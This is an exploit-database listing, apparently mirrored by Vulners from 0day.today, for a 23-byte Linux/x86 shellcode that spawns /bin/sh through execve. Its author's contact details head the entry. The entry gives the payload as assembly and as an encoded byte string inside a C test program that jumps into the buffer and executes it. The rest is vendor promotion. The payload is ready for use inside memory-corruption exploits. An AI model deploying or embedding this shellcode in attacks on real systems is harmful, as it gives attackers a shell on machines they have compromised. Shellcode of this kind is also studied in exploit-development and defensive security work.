Lucene search
K

Linux/x86 - execve /bin/sh shellcode 23 bytes

🗓️ 06 Dec 2012 00:00:00Reported by Hamza.MegahedType 
zdt
 zdt
🔗 0day.today👁 34 Views

Linux/x86 execve shellcode executes /bin/sh with 23 bytes of code by Hamza Megahed

Code
******************************************************
* Linux/x86 execve /bin/sh shellcode 23 bytes   *
******************************************************
* Author: Hamza Megahed                                *
******************************************************
* Twitter: @Hamza_Mega                                  *
******************************************************
* blog: hamza-mega[dot]blogspot[dot]com        *
******************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
******************************************************

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

**********************************************

#include <stdio.h>
#include <string.h>
 
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Dec 2012 00:00Current
0.1Low risk
Vulners AI Score0.1
34